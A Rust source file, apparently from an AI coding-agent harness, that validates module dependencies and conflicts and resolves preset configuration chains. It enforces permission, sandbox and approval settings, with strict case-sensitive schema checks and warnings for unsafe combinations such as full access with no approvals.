/// and `memory.enabled` — NOT `core.compaction.summarize`, even though
/// §2.1's literal text lists all three. `compaction.summarize = true` is
/// the near-universal default across every preset (all six set it, or
/// inherit it from `pi-core`), and falling back to the main model for
/// compaction summaries is unremarkable — §4.6 never names a D-9 warning
/// for ANY of the six presets, including `pi-core`/`cx-parity`/`oc-parity`,
/// which all set `compaction.summarize = true` with no `small_model`
/// configured. Including `compaction.summarize` in the trigger set would
/// therefore produce three un-named warnings contradicting §4.6's clean
/// verdicts for those presets; narrowing to the two dependents whose
/// fallback the design's own validation table treats as meaningful resolves
/// the contradiction.
fn validate_modules(
    hc: &HarnessConfig,
    preset_baseline: Option<&HarnessConfig>,
) -> Result<Vec<String>, ResolveError> {
    let mut warnings = Vec::new();
    let tools_enabled = effective_tools_enabled(hc);
    let has = |name: &str| tools_enabled.iter().any(|t| t == name);

    // ---- hard dependencies (§2.1) ----

    // D-1: subagents background-mode → permissions.approvals.
    if module_enabled(hc, "subagents") && module_setting_bool(hc, "subagents", "background") {
        require(
            module_enabled(hc, "permissions"),
            "subagents (background)",
            "permissions",
        )?;
    }
    // D-3: permissions.rules → permissions.approvals.
    if module_enabled(hc, "permissions.rules") {
        require(
            module_enabled(hc, "permissions"),
            "permissions.rules",
            "permissions",
        )?;
    }
    // D-4: lsp → core.tools(edit/write).
    if module_enabled(hc, "lsp") {
        require(
            has("edit_file") && has("write_file"),
            "lsp",
            "core.tools.enabled (edit_file, write_file)",
        )?;
    }
    // D-10: hooks(project-scope), plugins → trust.
    if module_enabled(hc, "hooks") {
        require(module_enabled(hc, "trust"), "hooks", "trust")?;
    }
    if module_enabled(hc, "plugins") {
        require(module_enabled(hc, "trust"), "plugins", "trust")?;
    }
    // plan_mode → permissions.rules | permissions.sandbox.
    if module_enabled(hc, "plan_mode") {
        require(
            module_enabled(hc, "permissions.rules") || module_enabled(hc, "permissions.sandbox"),
            "plan_mode",
            "permissions.rules or permissions.sandbox",
        )?;
    }
    // mcp.server → mcp.client.
    if module_setting_bool(hc, "mcp", "serve") {
        require(module_enabled(hc, "mcp"), "mcp (serve)", "mcp")?;
    }
    // tools.question, permissions.approvals(ask-UI) → tui | server.
    if module_enabled(hc, "tools_question") {
        require(
            module_enabled(hc, "tui") || module_enabled(hc, "server"),
            "tools_question",
            "tui or server",
        )?;
    }

    // D-7 (S3-amended): core.skills → core.tools.read_file | core.tools.bash.
    // No viable read pathway at all is a hard-dep failure; bash-only
    // degrades to a warning, not an error.
    if hc.core.skills.enabled == Some(true) {
        let has_read = has("read_file");
        let has_bash = has("bash");
        if !has_read && !has_bash {
            return Err(ResolveError::MissingDependency {
                module: "core.skills".to_string(),
                requires: "core.tools.enabled (read_file or bash)".to_string(),
            });
        }
        if !has_read && has_bash {
            warnings.push(
                "D-7: core.skills is active with only `bash` as the read pathway (no \
                 dedicated read_file); progressive disclosure degrades to bash-only reads \
                 (§2.1 D-7, resolver warns rather than errors)"
                    .to_string(),
            );
        }
        // BP-6: `[core.skills] harness` names whose documented root table
        // the loop scans. A name with no skills root supercode reads is a
        // hard failure, not a silent empty discovery — the same
        // refuse-by-name contract `supercode skills list --harness` keeps.
        if let Some(harness) = hc.core.skills.harness.as_deref() {
            if !crate::skills::SKILL_HARNESSES.contains(&harness) {
                return Err(ResolveError::MissingDependency {
                    module: "core.skills".to_string(),
                    requires: format!(
                        "core.skills.harness to name a harness with a skills root ({}), not `{harness}`",
                        crate::skills::SKILL_HARNESSES.join(", ")
                    ),
                });
            }
        }
    }

    // D-9 (fallback → warning): reduction.span_summaries / memory →
    // model_catalog.small_model. See the narrowing rationale on this
    // function's doc comment.
    let span_summaries_on =
        module_enabled(hc, "reduction") && module_setting_bool(hc, "reduction", "span_summaries");
    let memory_on = module_enabled(hc, "memory");
    if span_summaries_on || memory_on {
        let small_model = module_setting_str(hc, "model_catalog", "small_model").unwrap_or("");
        if small_model.is_empty() {
            warnings.push(
                "D-9: a small-model-consuming feature (reduction.span_summaries and/or \
                 memory) is enabled with no capabilities.model_catalog.small_model set — \
                 falls back to the main model (§2.1 D-9)"
                    .to_string(),
            );
        }
    }

    // BP-13 (D9 "Org model allowlists / effort caps"), CONFIG LAYER: the
    // allow/deny lists and the effort cap bind here, in the same resolution
    // pass every other routing decision is made in. `crate::model_catalog`
    // owns the matching; this is only where the verdict becomes an error.
    //
    // Boundary, stated rather than implied: this is the config layer. It
    // binds every model the table hands out (`core.model`, `small_model`,
    // and each `fallback` entry) and it is project-forbidden, so a repo
    // cannot lift a restriction its user/global layer set. What it is NOT
    // is a MANAGED/enterprise tier above the user's own file — the layer an
    // org admin owns and the user cannot edit. That tier is BP-14's; until
    // it exists the rule is enforceable but not administrable.
    {
        let routing = crate::model_catalog::Routing::from_capabilities(&hc.capabilities);
        if routing.restricts_models() {
            let base = hc.core.model.clone().unwrap_or_default();
            let resolution = crate::model_catalog::resolve(&hc.capabilities, &base);
            if let Some(detail) = resolution.refusal {
                return Err(ResolveError::ModelNotAllowed(detail));
            }
        }
        // The effort CAP never errors — it clamps, which is what a cap
        // means. Naming the clamp keeps it visible instead of silent.
        let effort = hc.core.effort.clone().unwrap_or_default();
        if !effort.is_empty() {
            let capped = crate::model_catalog::cap_effort(
                Some(effort.as_str()),
                routing.defaults.max_effort.as_deref(),
            );
            if capped.as_deref() != Some(effort.as_str()) {
                warnings.push(format!(
                    "capabilities.model_catalog.max_effort clamps `core.effort = \"{effort}\"` \
                     down to `{}`",
                    capped.unwrap_or_default()
                ));
            }
        }
    }

    // ---- conflicts (§2.2) ----

    // C1: tools_apply_patch co-advertised with edit_file/write_file without
    // per-model bits.
    if module_enabled(hc, "tools_apply_patch") {
        let co_advertised = has("edit_file") || has("write_file");
        let per_model = module_setting_bool(hc, "tools_apply_patch", "per_model");
        let model_catalog_on = module_enabled(hc, "model_catalog");
        if co_advertised && !(per_model && model_catalog_on) {
            warnings.push(
                "C1: capabilities.tools_apply_patch is advertised alongside edit_file/\
                 write_file with no model_catalog per-model capability bits — format \
                 confusion risk (§2.2 C1)"
                    .to_string(),
            );
        }
    }

    // C3 (MANDATORY, non-suppressible): sandbox=danger_full_access +
    // approval=never.
    if effective_sandbox(hc) == SandboxPolicy::DangerFullAccess
        && effective_approval(hc) == ApprovalPolicy::Never
    {
        warnings.push(
            "C3 (MANDATORY): capabilities.permissions resolves to \
             sandbox=danger_full_access + approval=never — zero gates. Legal, but never \
             safe-by-default; presets must never label this posture safe (§2.2 C3)"
                .to_string(),
        );
    }

    // C4: presets pin approval + system-prompt tuning together; independent
    // overrides over a preset baseline warn.
    if let Some(baseline) = preset_baseline {
        let approval_changed = permissions_approval_raw(hc) != permissions_approval_raw(baseline);
        let prompt_changed = hc.core.system_prompt != baseline.core.system_prompt
            || hc.core.append_system_prompt != baseline.core.append_system_prompt;
        if approval_changed != prompt_changed {
            warnings.push(
                "C4: capabilities.permissions.approval was overridden independently of \
                 core.system_prompt/append_system_prompt (or vice versa) — this preset pins \
                 the two together (§2.2 C4)"
                    .to_string(),
            );
        }
    }

    // C6: tools_background / subagents.background → an approvals
    // auto-policy (`background_prompts = "parent" | "auto_policy"`).
    let bg_exposure = module_enabled(hc, "tools_background")
        || (module_enabled(hc, "subagents") && module_setting_bool(hc, "subagents", "background"));
    if bg_exposure {
        match module_setting_str(hc, "subagents", "background_prompts") {
            Some("parent") | Some("auto_policy") => {}
            _ => {
                // S8 argued-satisfaction exception (§4.6 cx-parity row):
                // under `approval = "model_requested"`, tools proceed
                // sandboxed without prompting unless the MODEL itself
                // escalates — an auto-run default from a background task's
                // perspective, even with no literal `background_prompts`
                // key. Recorded as a judgment-call warning, not silently
                // treated as clean.
                let approval_raw = permissions_approval_raw(hc).unwrap_or_default();
                let is_model_requested = approval_raw
                    .replace('_', "-")
                    .eq_ignore_ascii_case("model-requested");
                if is_model_requested {
                    warnings.push(
                        "C6 (S8 judgment call): background execution proceeds under \
                         approval=model_requested with no literal \
                         capabilities.subagents.background_prompts key — the model's own \
                         escalation is treated as the required auto-policy, not a literal \
                         schema-key match (§2.2 C6, §4.6 cx-parity residual)"
                            .to_string(),
                    );
                } else {
                    return Err(ResolveError::Conflict {
                        name: "C6".to_string(),
                        detail: "tools_background and/or subagents.background is enabled \
                                 without capabilities.subagents.background_prompts set to \
                                 \"parent\" or \"auto_policy\" — a detached task cannot prompt \
                                 (§2.2 C6)"
                            .to_string(),
                    });
                }
            }
        }
    }

    // SECURITY carry-forward: case-sensitive, deny-unknown-fields re-check
    // of `capabilities.permissions` (P3 mandate — see the block below this
    // function for `validate_permissions_case_sensitivity`).
    if let Some(w) = validate_permissions_case_sensitivity(hc) {
        warnings.push(w);
    }

    Ok(warnings)
}

// ---------------------------------------------------------------------------
// SECURITY carry-forward (independent Fable review finding, P3 mandate):
// every P3 code path that CONSUMES `[capabilities.permissions.*]` tables
// must deserialize with an EXACT, case-sensitive schema and
// `deny_unknown_fields` — a wrong-case key (`Tier`, `Sandbox`) must be
// rejected/ignored-with-warning, never silently honored. The raw
// `serde_json::Value::get("sandbox")` lookups elsewhere in this file are
// already case-sensitive (a JSON/TOML map key lookup never case-folds), so a
// mistyped `Sandbox` was already never *honored* — but it was also never
// *flagged*, so a typo'd security-relevant key could silently do nothing
// with no diagnostic at all. This strict shadow-schema closes that gap: it
// is deserialized from the SAME `capabilities.permissions` settings object
// purely for validation, and any field it doesn't recognize (including a
// case variant of a real one) fails the whole table, producing a named
// warning rather than a silent no-op.
// ---------------------------------------------------------------------------

/// `[capabilities.permissions].sandbox` — either the bare-string shorthand or
/// the table form (§3.1 module 12); `deny_unknown_fields` inside the table
/// form so a case-typo'd sub-key (`Tier`, `Network`) is rejected too.
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(untagged)]
enum StrictSandboxValue {
    Bare(String),
    Table(StrictSandboxTable),
}

#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictSandboxTable {
    #[serde(default)]
    enabled: Option<bool>,
    #[serde(default)]
    tier: Option<String>,
    #[serde(default)]
    network: Option<StrictNetworkTable>,
    #[serde(default)]
    escalation: Option<String>,
    #[serde(default)]
    env_policy: Option<String>,
}

#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictNetworkTable {
    #[serde(default)]
    enabled: Option<bool>,
    #[serde(default)]
    allow_domains: Option<Vec<String>>,
    #[serde(default)]
    deny_domains: Option<Vec<String>>,
}

/// `[capabilities.permissions.rules]` (module 11).
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictRulesTable {
    #[serde(default)]
    enabled: Option<bool>,
    #[serde(default)]
    deny: Option<Vec<String>>,
    #[serde(default)]
    ask: Option<Vec<String>>,
    #[serde(default)]
    allow: Option<Vec<String>>,
}

/// `[capabilities.permissions.protected_paths]` (module 13).
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictProtectedPathsTable {
    #[serde(default)]
    enabled: Option<bool>,
    #[serde(default)]
    paths: Option<Vec<String>>,
}

/// `[capabilities.permissions]`'s FULL settings shape (modules 10-13, §3.1),
/// exact case-sensitive field names, `deny_unknown_fields`. Note `enabled`
/// itself is NOT here — [`CapabilityConfig::enabled`] already parses it
/// separately (before flattening into `settings`), so this only needs to
/// cover the flattened remainder.
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictPermissionsSettings {
    #[serde(default)]
    approval: Option<String>,
    #[serde(default)]
    sandbox: Option<StrictSandboxValue>,
    #[serde(default)]
    auto_approved_tools: Option<Vec<String>>,
    #[serde(default)]
    rules: Option<StrictRulesTable>,
    #[serde(default)]
    protected_paths: Option<StrictProtectedPathsTable>,
    /// BP-10 (`capabilities.permissions.approvals`, catalog row "Session
    /// approval caching"): the persisted-approval knob.
    #[serde(default)]
    approvals: Option<StrictApprovalsTable>,
    /// BP-10 (`capabilities.permissions.profile`, catalog row "Named
    /// permission profiles"): which named bundle this run selects.
    #[serde(default)]
    profile: Option<String>,
    /// BP-10 (`capabilities.permissions.profiles.<name>`): the bundles
    /// themselves. The MAP is free-form (the names are the user's), but
    /// each bundle's own keys go through the same strict, case-sensitive
    /// schema every other permission table does — a `Sandbox` typo inside
    /// a bundle must be flagged exactly like one at the top level.
    #[serde(default)]
    profiles: Option<std::collections::BTreeMap<String, StrictProfileTable>>,
}

/// `[capabilities.permissions.approvals]` (BP-10, module 10).
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictApprovalsTable {
    #[serde(default)]
    persist: Option<bool>,
}

/// `[capabilities.permissions.profiles.<name>]` (BP-10, cx§4
/// `[permissions.<name>]`).
#[allow(dead_code)]
// fields exist only to make deny_unknown_fields reject unknown/case-typo'd keys; the parsed values themselves are never read (Result::is_ok is all validate_permissions_case_sensitivity needs)
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct StrictProfileTable {
    #[serde(default)]
    extends: Option<String>,
    #[serde(default)]
    approval: Option<String>,
    #[serde(default)]
    sandbox: Option<StrictSandboxValue>,
    #[serde(default)]
    auto_approved_tools: Option<Vec<String>>,
    #[serde(default)]
    rules: Option<StrictRulesTable>,
    #[serde(default)]
    protected_paths: Option<StrictProtectedPathsTable>,
}

/// Re-parse `capabilities.permissions`'s settings object through
/// [`StrictPermissionsSettings`] purely to catch a case-mismatched or
/// otherwise-unrecognized key that the coarser raw-JSON lookups elsewhere
/// would silently (and safely, but silently) ignore. Returns a warning
/// string when the strict schema rejects it; `None` when the table is
/// absent or fully recognized.
fn validate_permissions_case_sensitivity(hc: &HarnessConfig) -> Option<String> {
    let cap = hc.capabilities.get("permissions")?;
    if cap.settings.is_empty() {
        return None;
    }
    let value = serde_json::Value::Object(cap.settings.clone());
    match serde_json::from_value::<StrictPermissionsSettings>(value) {
        Ok(_) => None,
        Err(e) => Some(format!(
            "SECURITY: capabilities.permissions carries an unrecognized or case-mismatched \
             key and was rejected by the strict, case-sensitive schema (a typo like `Tier`/\
             `Sandbox` is never silently honored) — {e}"
        )),
    }
}

/// Small helper: turn a hard-dependency check into the uniform
/// [`ResolveError::MissingDependency`] shape used throughout
/// [`validate_modules`].
fn require(met: bool, module: &str, requires: &str) -> Result<(), ResolveError> {
    if met {
        Ok(())
    } else {
        Err(ResolveError::MissingDependency {
            module: module.to_string(),
            requires: requires.to_string(),
        })
    }
}

// ---------------------------------------------------------------------------
// §3.5 `extends` / preset resolution algorithm — steps 1-7, the resolver's
// public entry point.
// ---------------------------------------------------------------------------

/// The `extends` chain depth cap (§3.5 step 2 — "mirrors CC's import
/// depth-4 spirit, cc§2", scaled to 8).
const MAX_EXTENDS_DEPTH: usize = 8;

/// Top-level `HarnessConfig` keys (§3.1's schema root).
const KNOWN_TOP_KEYS: &[&str] = &[
    // BP-9: the editor-facing schema pointer (see `HarnessConfig::schema`).
    "$schema",
    "schema_version",
    "extends",
    "core",
    "capabilities",
    "experimental",
];

/// `[core]`'s direct keys — scalars/arrays plus the named sub-table keys
/// (§3.1). Does NOT enumerate the sub-tables' OWN keys (`[core.tools.*]`,
/// `[core.compaction]`, …) — see [`unknown_keys`]'s doc comment for why.
const KNOWN_CORE_KEYS: &[&str] = &[
    "model",
    "base_url",
    "api_key_env",
    "api_key_cmd",
    "api_key_command",
    "update_check",
    "effort",
    "temperature",
    "max_tokens",
    "max_iterations",
    "max_total_output_tokens",
    "max_budget_usd",
    "max_steps",
    "price_input_per_mtok",
    "price_output_per_mtok",
    "max_tool_output_bytes",
    "tool_output_spill",
    "parallel_tool_calls",
    "shell_env_snapshot",
    "system_prompt",
    "append_system_prompt",
    "project_context",
    "env_context",
    "context_injections",
    "nested_instructions",
    "instruction_imports",
    "project_root_markers",
    "project_doc_max_bytes",
    "project_doc_excludes",
    "project_doc_strip_comments",
    // BP-5: the three prompt-assembly inputs (catalog D2 rows "@-file
    // mentions", "Output style / personality module", "Path-scoped rules").
    "file_mentions",
    "output_style",
    "path_rules",
    "doom_loop_threshold",
    "hot_reload",
    // BP-9: `project_doc_max_bytes` and `doom_loop_threshold` parse fine
    // but were absent from this list, so `--strict-config` rejected two
    // keys the schema and the parser both accept. Found by
    // `config_schema::tests::every_schema_key_parses_with_its_declared_type`.
    "project_doc_max_bytes",
    "doom_loop_threshold",
    "additional_dirs",
    "extra_headers",
    "extra_body",
    "model_switch",
    "retry",
    "tools",
    "skills",
    "prompts",
    "compaction",
    "session",
    "steering",
    "output",
];

/// §3.5 step 5 (strict branch): unknown-key detection under `schema_version
/// = 1`. **Bounded scope, documented rather than a silent gap:** checks the
/// top-level keys, `[core]`'s direct keys, and `[capabilities.*]`'s module
/// names against the known sets. Does NOT recurse into a `[core.tools.*]`/
/// `[core.compaction]`/etc. sub-table's own keys, or into any one
/// capability's `settings` — both are forward-extensible by design (new
/// module settings ship without a `schema_version` bump), and P2's mandate
/// is the resolver + preset table, not an exhaustive schema linter (left
/// for a future pass if deeper strictness is wanted).
fn unknown_keys(text: &str) -> Result<Vec<String>, HarnessConfigError> {
    let value: toml::Value = toml::from_str(text).map_err(HarnessConfigError::Toml)?;
    let mut out = Vec::new();
    let Some(tbl) = value.as_table() else {
        return Ok(out);
    };
    for k in tbl.keys() {
        if !KNOWN_TOP_KEYS.contains(&k.as_str()) {
            out.push(k.clone());
        }
    }
    if let Some(core) = tbl.get("core").and_then(|v| v.as_table()) {
        for k in core.keys() {
            if !KNOWN_CORE_KEYS.contains(&k.as_str()) {
                out.push(format!("core.{k}"));
            }
        }
    }
    if let Some(caps) = tbl.get("capabilities").and_then(|v| v.as_table()) {
        for k in caps.keys() {
            if !MODULE_NAMES.contains(&k.as_str()) {
                out.push(format!("capabilities.{k}"));
            }
        }
    }
    Ok(out)
}

/// §3.5 steps 1-3: parse `name_or_path`, recurse on its own `extends`, and
/// fold the chain root-first (deepest ancestor = lowest priority — each
/// recursive call's result is the parent, which the current node overlays).
/// `allow_path` gates whether an unrecognized name may be treated as a file
/// path (§3.3: user/global layer only — a project layer must pass `false`).
fn resolve_preset_chain(
    name_or_path: &str,
    allow_path: bool,
    base_dir: Option<&std::path::Path>,
    depth: usize,
    seen: &mut Vec<String>,
) -> Result<HarnessConfig, ResolveError> {
    if depth > MAX_EXTENDS_DEPTH {
        return Err(ResolveError::DepthExceeded(seen.clone()));
    }
    if seen.iter().any(|s| s == name_or_path) {
        let mut chain = seen.clone();
        chain.push(name_or_path.to_string());
        return Err(ResolveError::Cycle(chain));
    }
    seen.push(name_or_path.to_string());

    // `next_base_dir` is the directory a LOADED FILE's own (possibly
    // relative) `extends` should resolve against — its own parent
    // directory, not the top-level caller's `base_dir`. A built-in preset
    // has no filesystem location, so it inherits whatever `base_dir` was
    // already in play (built-ins only ever `extends` other built-ins by
    // name, never a path, so this is never actually consulted for them).
    let (hc, next_base_dir): (HarnessConfig, Option<std::path::PathBuf>) =
        if let Some(toml_text) = crate::presets::lookup(name_or_path) {
            (
                HarnessConfig::from_toml_str(toml_text).map_err(ResolveError::Parse)?,
                base_dir.map(std::path::Path::to_path_buf),
            )
        } else {
            if !allow_path {
                return Err(ResolveError::PathExtendsNotAllowed(
                    name_or_path.to_string(),
                ));
            }
            let path = match base_dir {
                Some(dir) => dir.join(name_or_path),
                None => std::path::PathBuf::from(name_or_path),
            };
            let text = std::fs::read_to_string(&path)
                .map_err(|e| ResolveError::Io(path.clone(), e.to_string()))?;
            let hc = HarnessConfig::from_toml_str(&text).map_err(ResolveError::Parse)?;
            let dir = path.parent().map(std::path::Path::to_path_buf);
            (hc, dir)
        };

    match hc.extends.clone() {
        Some(parent_ref) => {
            let parent = resolve_preset_chain(
                &parent_ref,
                allow_path,
                next_base_dir.as_deref(),
                depth + 1,
                seen,
            )?;
            Ok(parent.overlay(&hc))
        }
        None => Ok(hc),
    }
}

/// §3.5 step 7: fold `[capabilities.permissions]`'s sandbox/approval/
/// auto_approved_tools, `[capabilities.deferred_tools]`, and
/// `[capabilities.cache]` into a [`ConfigProfile`] alongside
/// [`HarnessConfig::to_config_profile`]'s `[core]` fields, then materialize
/// one [`Config`] via the existing (fail-safe) [`ConfigBuilder::apply_profile`]
/// — extending P1's `[core]`-only resolution to the specific pre-existing
/// `Config` fields P2's validation needs (sandbox/approval for C3,
/// tool_advertising for `deferred_tools`, cache_plan for `cache`). Full
/// module-driven `ToolRegistry` construction (which TOOLS get registered)
/// stays P3 (design §5.2 P3: `ToolRegistry::from_config`) — this only
/// resolves fields `Config` already has a slot for.
fn materialize_config(hc: &HarnessConfig) -> Config {
    let mut profile = hc.to_config_profile();
    if let Some(cap) = hc.capabilities.get("permissions") {
        match cap.settings.get("sandbox") {
            Some(serde_json::Value::String(s)) => profile.sandbox = Some(s.clone()),
            Some(serde_json::Value::Object(o)) => {
                if let Some(t) = o.get("tier").and_then(|v| v.as_str()) {
                    profile.sandbox = Some(t.to_string());
                }
            }
            _ => {}
        }
        if let Some(a) = cap.settings.get("approval").and_then(|v| v.as_str()) {
            profile.approval = Some(a.to_string());
        }
        if let Some(list) = cap
            .settings
            .get("auto_approved_tools")
            .and_then(|v| v.as_array())
        {
            profile.auto_approved_tools = Some(
                list.iter()
                    .filter_map(|x| x.as_str().map(String::from))
                    .collect(),
            );
        }
        // P4 (design §5.2 "P4"): `capabilities.permissions.rules.deny`/
        // `.allow` — the S-sized pattern generalization of
        // `auto_approved_tools`, read at the same unconditional-on-`cap`
        // level as `auto_approved_tools` above (not gated on
        // `permissions.rules.enabled`, matching that sibling field's own
        // precedent). The full deny→ask→allow priority ENGINE (module 11)
        // stays P5 — this only resolves the two arrays into glob-pattern
        // lists `Config::needs_approval` consults. Shared with the CLI's
        // own `FileConfig`-driven `build_config` via
        // `permissions_rules_patterns`, same pattern as
        // `model_catalog::resolve`.
        let (deny, allow) = permissions_rules_patterns(cap);
        if !deny.is_empty() {
            profile.tool_deny_patterns = Some(deny);
        }
        if !allow.is_empty() {
            profile.tool_allow_patterns = Some(allow);
        }
    }
    if let Some(cap) = hc.capabilities.get("deferred_tools") {
        if cap.enabled == Some(true) {
            profile.tool_advertising = Some("deferred".to_string());
            profile.tool_advertising_core = deferred_tools_core(cap);
        }
    }
    if let Some(cap) = hc.capabilities.get("cache") {
        if cap.enabled == Some(true) {
            profile.cache_plan = cache_plan_str(cap);
            // BP-4: `warnings` is the module's second knob (§3.1
            // `capabilities.cache.warnings`) and was parsed-and-dropped —
            // the churn warnings a cache plan exists to make legible are
            // exactly what an operator turns off when they don't want them.
            profile.cache_warnings = cap.settings.get("warnings").and_then(|v| v.as_bool());
        }
    }
    let mut config = ConfigBuilder::default().apply_profile(&profile).build();

    // BP-1: module activation is the DEFAULT path for anything that came
    // through this resolver. A `HarnessConfig` is precisely the artifact
    // that states which modules are on, so a Config materialized from one
    // carries `module_registry = true` and lets
    // `ToolRegistry::from_config` (and prompt assembly, and the CLI's MCP
    // attach) consult `module_activation`/`core_tools_enabled` — otherwise
    // a preset's `[capabilities.tools_web]`/`[core.tools] enabled` would
    // resolve, warn, be golden-tested, and then be silently discarded at
    // the one place it is supposed to bite.
    //
    // `[experimental] module_registry = false` remains as an explicit
    // OPT-OUT (the only value that still matters): it pins a config back
    // to the unfiltered `with_builtins()` stack. A hand-built
    // `Config::default()` never passes through here and keeps
    // `module_registry = false`, so SDK embedders who never wrote a
    // `HarnessConfig` are untouched.
    config.module_registry = experimental_opt_in(hc, "module_registry");
    config.module_activation = crate::modules::ModuleActivation::from_harness(hc);
    config.core_tools_enabled = effective_tools_enabled(hc);
    config.skills_enabled = hc.core.skills.enabled.unwrap_or(false);
    // BP-6 (catalog D7 "Skill discovery from multiple roots"): the preset
    // NAMES whose root table the loop reads, so `cc-parity` discovers
    // SKILL.md the way Claude Code does and `cx-parity` the way Codex does.
    config.skills_harness = hc.core.skills.harness.clone();
    config.skills_dirs = hc
        .core
        .skills
        .dirs
        .clone()
        .unwrap_or_default()
        .into_iter()
        .map(std::path::PathBuf::from)
        .collect();
    config.skills_implicit_match = hc.core.skills.implicit_match.unwrap_or(false);
    // BP-5 (cc§7 "Dynamic context injection"): `!`cmd`` at body-load time.
    config.skills_shell_injection = hc.core.skills.shell_injection.unwrap_or(false);
    // BP-5: the three prompt-assembly inputs (`@path` mentions, the output
    // style, path-scoped rule files). Each is absent by default, so a config
    // that says nothing assembles byte-identically to before BP-5.
    config.file_mentions = hc.core.file_mentions.unwrap_or(false);
    config.output_style = hc.core.output_style.clone().unwrap_or_default();
    config.path_rules = hc.core.path_rules.unwrap_or(false);

    if let Some(cap) = hc.capabilities.get("reduction") {
        let setting = |name: &str| cap.settings.get(name).and_then(|v| v.as_bool());
        config.reduction_policy = crate::config::ReductionPolicySettings {
            stale_reads: setting("stale_reads"),
            diff_reads: setting("diff_reads"),
            duplicates: setting("duplicates"),
            tool_input_elision: setting("tool_input_elision"),
            supersede: setting("supersede"),
            normalize_output: setting("normalize_output"),
            image_redaction: setting("image_redaction"),
            span_summaries: setting("span_summaries"),
        };
        // The module's `enabled` bit is the documented master switch for all
        // optional reduction policies, including the separate offline
        // handoff consumer. Preserve legacy availability when the master is
        // absent, but an explicit master-off must dominate inherited
        // `handoff = true` from a preset.
        config.handoff_enabled = cap.enabled.unwrap_or(true) && setting("handoff").unwrap_or(true);
    }

    // P5-1 (design §2 modules 10-13, §5.3 risk 1's mitigation recipe): the
    // permissions ENGINE's runtime fields — carried on `Config` the same
    // "pure config → set" way the P3 module-activation fields just above
    // are, so `Agent::prepare_tool_call`'s gate can consult them without
    // re-walking `HarnessConfig`. `capabilities.permissions.enabled` (module
    // 10) is the master gate: `false` (the default, matching every
    // `HarnessConfig` that never sets this table) leaves every one of these
    // fields at `Config::default()`'s zero value, and
    // `Agent::prepare_tool_call` falls through to the pre-P5-1
    // `Config::needs_approval` gate byte-for-byte — see that method's doc
    // comment.
    if let Some(cap) = hc.capabilities.get("permissions") {
        config.permissions_enabled = cap.enabled.unwrap_or(false);
        config.permissions_ask_patterns = permissions_rules_ask_patterns(cap);
        config.permissions_protected_paths = permissions_protected_paths(cap);
        config.network_policy = permissions_network_policy(cap);
        // BP-10 (§2 module 10, catalog row "Session approval caching"):
        // `capabilities.permissions.approvals.persist` — whether an
        // `AllowForSession` grant is remembered across processes. Absent
        // (the default) is `false`: the pre-BP-10 in-memory cache, no file
        // touched. Read at the same unconditional-on-`cap` level as
        // `auto_approved_tools`/`network_policy` above.
        config.permissions_approvals_persist = cap
            .settings
            .get("approvals")
            .and_then(|v| v.as_object())
            .and_then(|o| o.get("persist"))
            .and_then(serde_json::Value::as_bool)
            .unwrap_or(false);
        // P5-10 (§2 module 12): the OS-level sandbox backstop's own knobs
        // — populated unconditionally here (same "pure config → set"
        // treatment as `network_policy` just above, NOT gated on
        // `capabilities.permissions.enabled`/`cap.enabled` — that master
        // gate is module 10/11's rule-ENGINE activation switch;
        // `capabilities.permissions.sandbox.enabled` is module 12's own,
        // independent gate, exactly like `network.enabled` already is for
        // `NetworkPolicy`).
        config.sandbox_os_enabled = permissions_sandbox_os_enabled(cap);
        config.sandbox_escalation = permissions_sandbox_escalation(cap);
        config.sandbox_env_policy = permissions_sandbox_env_policy(cap);
    }

    // P5-3 (design §2 module 9, §2.1 D-1, §2.2 C6): the subagents ENGINE's
    // runtime fields — same "pure config → set" carry-forward as P5-1's
    // permissions block just above. `capabilities.subagents.enabled`
    // (`false`, the default, matching every `HarnessConfig` that never sets
    // this table) leaves every field below at `Config::default()`'s zero
    // value, and `Agent::tool_schemas`/`Agent::run_tool` never advertise or
    // intercept `spawn_subagent`/`subagent_status` at all — byte-identical
    // to today's no-subagents behavior.
    // BP-7 (§2 module 7, §3.1 `capabilities.todos.goals`): the persistent-
    // objective variant of the checklist module. Off unless `todos` is
    // enabled AND the sub-key is set, so a preset that only wants the
    // `update_plan` tool is untouched.
    config.goals_enabled = module_enabled(hc, "todos") && module_setting_bool(hc, "todos", "goals");

    if let Some(cap) = hc.capabilities.get("subagents") {
        config.subagents_enabled = cap.enabled.unwrap_or(false);
        config.subagents_max_depth = cap
            .settings
            .get("max_depth")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(2);
        config.subagents_max_concurrent = cap
            .settings
            .get("max_concurrent")
            .and_then(serde_json::Value::as_u64)
            .map(|n| n as usize)
            .unwrap_or(4);
        config.subagents_background = module_setting_bool(hc, "subagents", "background");
        config.subagents_background_prompts = cap
            .settings
            .get("background_prompts")
            .and_then(serde_json::Value::as_str)
            .and_then(crate::subagents::BackgroundPromptsPolicy::parse);
        config.subagents_definitions = subagent_definitions(cap);
    }

